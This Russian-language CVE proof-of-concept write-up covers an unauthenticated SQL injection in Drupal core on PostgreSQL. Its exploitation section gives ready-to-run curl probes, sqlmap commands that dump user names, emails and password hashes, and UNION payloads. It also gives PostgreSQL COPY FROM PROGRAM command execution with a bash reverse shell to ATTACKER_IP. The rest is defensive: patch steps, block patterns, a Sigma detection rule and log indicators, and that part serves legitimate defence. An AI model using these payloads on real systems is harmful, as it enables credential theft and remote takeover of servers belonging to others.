
CVE PoC
Тип: SQL-инъекция (CWE-89) Затронутый продукт: ядро Drupal (API абстракции базы данных) Уведомление Drupal: SA-CORE-2026-004 Опубликовано: 20 мая 2026 г. Критичность: высокая критичность (Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082 — это уязвимость SQL-инъекции в API абстракции базы данных ядра Drupal. Слой БД Drupal оборачивает PDO и очищает все запросы до того, как они достигнут базы данных. Эта уязвимость обходит указанную очистку только для бэкендов PostgreSQL — специально сформированные HTTP-запросы проскальзывают мимо логики нормализации и внедряют управляемые атакующим фрагменты SQL непосредственно в запросы к базе данных.
MySQL и MariaDB не затронуты данным вектором инъекции, хотя выпуск с исправлением также включает критические исправления Symfony/Twig, применимые ко всем бэкендам.
Предварительное условие: целевая система должна использовать PostgreSQL в качестве бэкенда базы данных.
Слой абстракции БД Drupal очищает значения с помощью параметризованных запросов и подготовленных выражений, но полагается на построитель запросов при формировании доверенного структурного SQL (имена полей, операторы, цели ORDER BY). Ошибка кроется в том, как драйвер PostgreSQL обрабатывает определённые входные паттерны при построении запросов — диалект SQL в PostgreSQL ключевым образом отличается от MySQL:
||::COPY ... FROM PROGRAMСформированный запрос вносит символы/последовательности, которые проходят очистку на уровне значений в Drupal, но интерпретируются парсером PostgreSQL как структурный SQL. Поверхность атаки доступна без аутентификации через любую конечную точку, передающую управляемые пользователем параметры в запросы к БД (поиск, фильтры представлений, отправка форм, JSON:API и т. д.).
Attacker (unauthenticated)
|
|--> HTTP request with crafted parameter
| (e.g. search field, filter, form input)
|
v
Drupal DB Abstraction API
|
|--> Sanitization bypass (PostgreSQL-specific)
|
v
PostgreSQL executes injected SQL
|
|--> Information disclosure (dump entire DB)
|--> Privilege escalation (inject admin credentials)
|--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
COPY TO PROGRAM 'cmd', если пользователь БД обладает привилегиями суперпользователяСобственное предупреждение Drupal: «эксплойты могут быть разработаны в течение нескольких часов или дней после раскрытия информации» (что согласуется с историческими CVE уровня БД Drupal, такими как SA-CORE-2014-005 / Drupalgeddon).
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer (recommended)
composer update drupal/core drupal/core-recommended
# Verify version
php core/scripts/drupal --version
# OR via Drush
drush updb && drush cr
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
Блокируйте паттерны: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--
Убедитесь, что PostgreSQL принимает подключения только на localhost или частном интерфейсе и недоступен из интернета.
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082 — это SQL-инъекция без аутентификации в ядре Drupal, нацеленная на бэкенды PostgreSQL. Несмотря на умеренный показатель NVD CVSS 6.5, Drupal оценивает её в 20/25 (высокая критичность): доступ без аутентификации + COPY TO PROGRAM в PostgreSQL = прямое RCE в неправильно настроенных средах. Широкий диапазон затронутых версий и включенные исправления SSTI в Twig делают это критически важным срочным обновлением для всех сайтов Drupal, особенно работающих на PostgreSQL и доступных из интернета.
Рекомендуемые действия: немедленно обновитесь до исправленной версии для вашей ветки. Убедитесь, что прикладной пользователь БД не является суперпользователем PostgreSQL.
| Ветка | Уязвимые версии | Исправленные версии |
|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
| Источник | Сигнал |
|---|
| Журналы веб-сервера | pg_sleep, ::, UNION SELECT, --, COPY PROGRAM в строках запросов |
| Журналы PostgreSQL | Ошибки синтаксиса, коррелирующие по времени с веб-запросами |
| Журнал Drupal (watchdog) | Исключения БД из конечных точек search/view/jsonapi |
| auditd | postgres порождает дочерние процессы (COPY TO PROGRAM) |
| Таблица пользователей Drupal | Новые строки роли administrator со свежими временными метками |